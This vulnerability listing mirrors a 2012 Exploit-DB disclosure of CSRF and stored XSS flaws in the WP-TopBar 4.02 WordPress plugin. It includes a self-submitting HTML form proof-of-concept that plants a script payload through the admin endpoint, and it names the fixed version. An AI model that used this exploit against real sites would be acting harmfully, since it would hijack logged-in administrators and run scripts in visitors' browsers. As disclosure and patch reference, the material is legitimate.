WP-TopBar 4.02 CSRF

vendor:

WP-TopBar

by:

Blake Entrekin

3,5

CVSS

MEDIUM

Cross Site Request Forgery

352

CWE

Product Name: WP-TopBar

Affected Version From: 4.02

Affected Version To: 4.02

Patch Exists: YES

Related CWE: N/A

CPE: 2.3:a:wordpress:wp-topbar

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2012

The wp-topbar.php does not utilize a nonce value when submitting any POST changes. As a result, this page is vulnerable to Cross Site Request Forgery. Proof of Concept Code is provided in the text.

Mitigation:

Implementing a nonce value when submitting POST changes can help prevent Cross Site Request Forgery.

Source

Exploit-DB raw data:

# Exploit Title: WP-TopBar 4.02 CSRF
# Date: 2012-09-13
# Author: Blake Entrekin
# Version: 4.02
# Download Link: http://downloads.wordpress.org/plugin/wp-topbar.4.02.zip
# Vendor Link: http://wordpress.org/extend/plugins/wp-topbar/
-------------------
        CSRF
-------------------


The wp-topbar.php does not utilize a nonce value when submitting any POST
changes.  As a result, this page is vulnerable to Cross Site Request
Forgery.

Proof of Concept Code:

<html>
<head>
    <title></title>
</head>
<body>
<form name="testform" action="
https://localhost/wordpress/wp-admin/admin.php?page=wp-topbar.php&action=topbartext&barid=1"
method="POST">
    <br>
        <input type="hidden" name="wptbbartext"
value="</script><script>onload=alert(3)</script>">
        <input type="hidden" name="wptblinktext" value="whatever">
        <input type="hidden" name="wptblinkurl"
value="http%3A%2F%2Fwordpress.org%2Fextend%2Fplugins%2Fwp-topbar%2F">
        <input type="hidden" name="wptblinktarget" value="blank">
        <input type="hidden" name="wptbenableimage" value="false">
        <input type="hidden" name="wptbbarimage" value="">
        <input type="hidden" name="update_wptbSettings"
value="Update+Settings">

</form>
<script type="text/javascript">
        document.testform.submit();
    </script>
</body>
</html>

This script takes advantage of a logged in user to submit the required
variables needed to update an existing TopBar with the required settings
that commits and executes a Stored XSS vulnerability from a previous
disclosure.  In this example it was tested against a wordpress application
running on �localhost� and altered a TopBar with the �id� of 1.  This
version of WP-TopBar creates a default TopBar with the id of 1 upon
installation.  Any subsequent TopBar created has an id incremented.  It can
be assumed that a user is more then likely to still have the default TopBar
and easily attack it.

# Vulnerability Timeline
2012-09-04 � Vulnerability Reported
2012-09-05 � Developer Acknowledges
2012-09-10 � Developer Issues Fix (v4.03)
2012-09-15 -  Vulnerability Disclosed

-- 
Blake Entrekin
Independent Security Consultant/
Web Penetration Tester
http://EntreSec.blogspot.com
Twitter: @entresec <https://twitter.com/#%21/entresec>


# Exploit Title: WP-TopBar 4.02 Authenticated Stored XSS
# Date: 2012-09-13
# Author: Blake Entrekin
# Version: 4.02
# Download Link: http://downloads.wordpress.org/plugin/wp-topbar.4.02.zip
# Vendor Link: http://wordpress.org/extend/plugins/wp-topbar/
-------------------
  Stored XSS
-------------------

The message field (wptbbartext variable) of the wp-topbar.php page is
vulnerable to Stored Cross-site Scripting.  This variable is only
accessible via the admin menu of the plugin.

The following code is an example:

</script><script>alert(3)</script>

This code is committed to the database upon submission and will run both
under the admin interface when the bar is shown as a preview as well as the
front facing page where the bar is set to display.

# Vulnerability Timeline
2012-09-04 � Vulnerability Reported
2012-09-05 � Developer Acknowledges
2012-09-10 � Developer Issues Fix (v4.03)
2012-09-15 -  Vulnerability Disclosed

-- 
Blake Entrekin
Independent Security Consultant/
Web Penetration Tester
http://EntreSec.blogspot.com
Twitter: @entresec <https://twitter.com/#%21/entresec>